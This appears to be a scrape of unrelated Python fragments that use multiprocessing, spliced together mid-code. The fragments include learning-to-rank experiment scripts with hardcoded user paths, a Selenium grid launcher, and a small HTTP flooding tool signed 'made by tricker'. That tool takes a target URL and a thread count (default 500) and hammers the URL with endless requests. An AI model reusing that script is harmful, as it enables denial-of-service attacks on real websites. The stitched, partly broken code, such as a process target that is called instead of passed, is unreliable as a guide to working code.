def __run__(self) -> None: if self.__runing: print("Error! Process already started it\'s execution.") return None self.__runing = True arg = p(target=stuff("python " + self.__task.get_path()), daemon=True) arg.start() del arg return None
def main(maxIter, delta, stdInit): from multiprocessing import Process as p filename = "data/data" numFeatures, numActions, k, thetaB, D = read_data(filename) numCandidates = 20 process = [] for count in range(numCandidates): process.append( p(target=get_multiple_candidates, args=(maxIter, delta, stdInit, numFeatures, numActions, k, thetaB, D, count + 1))) process[-1].start() for proc in process: proc.join()
return {k: x.get(k, 0) + y.get(k, 0) for k in set(x) | set(y)} def average_dict(dict_a,iterations): return {k: float(dict_a.get(k, 0))/iterations for k in set(dict_a)} if __name__ == "__main__": data_set_location = "/lv_local/home/sgregory/letor_fixed1" q = qtf.qtf(data_set_location) q.create_query_to_fold_index() l = lfc.letor_folds_creator_z_normalize(data_set_location, data_set_location, True) c = cv.cross_validator(5, l, "LTOR_MART_min_max") lbda_score_file = "/lv_local/home/sgregory/LTOR_MART_min_max/test_scores_trec_format/LAMBDAMART/final_score_combined.txt" svm_score_file = "/lv_local/home/sgregory/LTOR1/test_scores_trec_format/SVM/final_score_combined.txt" rel_index = ri.relevance_index("qrels") rel_index.create_relevance_index() pool = p(3) gg = d.lambda_mart_stats_handler("01", 0.1,c) aa = d.lambda_mart_stats_handler("005", 0.05,c) bb = d.lambda_mart_stats_handler("001", 0.01, c) svm_gg = srfh.winner_reference_point_random("01",0.1) svm_aa = srfh.winner_reference_point_random("005", 0.05) svm_bb = srfh.winner_reference_point_random("001", 0.01) lbda_chosen_models = gg.recover_models_per_fold("/lv_local/home/sgregory/LTOR_MART_min_max/models/LAMBDAMART", "/lv_local/home/sgregory/LTOR_MART_min_max/test_scores_trec_format/LAMBDAMART/") svm_chosen_models = svm_gg.recover_models_per_fold("/lv_local/home/sgregory/LTOR1/models/SVM", "/lv_local/home/sgregory/LTOR1/test_scores_trec_format/SVM/") lbda_f = partial(lbda_simulation, lbda_chosen_models, data_set_location, q.query_to_fold_index, lbda_score_file, "/lv_local/home/sgregory/LTOR_MART_min_max/competition", "/lv_local/home/sgregory/LTOR_MART_min_max/new_scores/", "/lv_local/home/sgregory/LTOR_MART_min_max/models/LAMBDAMART/",rel_index.rel_index) lbda_g_input = [gg, aa, bb]
print('\033[36m') print('made by tricker') print('\033[0m') url = input('url :') thread = int(input('thread(default 500) :')) def dos(): pass def att(): while True: dos() def req(): p = rg(url) print(p) def a(): while True: req() for i in range(thread): t = p(target=a) t.start()
processes = [] @classmethod def f(cls, args): hub = subprocess.Popen([args]) cls.processes.append(hub) print(args, '->', hub) @classmethod def stop_process(cls): for i in cls.processes: os.killpg(os.getpid(i.pid)) if __name__ == '__main__': os.chdir("E:\\grid") # os.system('dir') # hub = subprocess.Popen(['java', '-jar', 'selenium-server-standalone.jar', '-role', 'hub']) process_one_hub = p(target=Proc.f, args=('hub.bat', )) process_one_hub.start() ## netstat -ano ############ time.sleep(5) process_two_server = p(target=Proc.f, args=('node1.bat', )) process_two_server.start() Proc.stop_process()
10, data_set_location, 0.1, chosen_models, query_to_fold_index) return c.competition(budget_creator.model) if __name__ == "__main__": data_set_location = "C:/study/letor_fixed1" q = qtf.qtf(data_set_location) q.create_query_to_fold_index() score_file = "C:/study/simulation_data/test_scores_trec_format/SVM/final_score_combined.txt" cost_model = "log_0.1.jpg" pool = p(2) """lg =lb.logarithmic_budget_cost_creator("log")#l.linear_budget_cost_creator(factor) #e.exponential_budget_cost_creator()## # # e = e.exponential_budget_cost_creator("exp") li = l.linear_budget_cost_creator("linear")""" lg = d.winner_reference_point("005", 0.05) gg = d.winner_reference_point("001", 0.01) #fg = d.distance_budget_cost_creator("003", 0.03) chosen_models = lg.recover_models_per_fold( "C:/study/simulation_data/models/SVM", "C:/study/simulation_data/test_scores_trec_format/SVM/") f = partial(simulation, chosen_models, data_set_location, q.query_to_fold_index, score_file) g_input = [gg, lg] results = pool.map(f, g_input)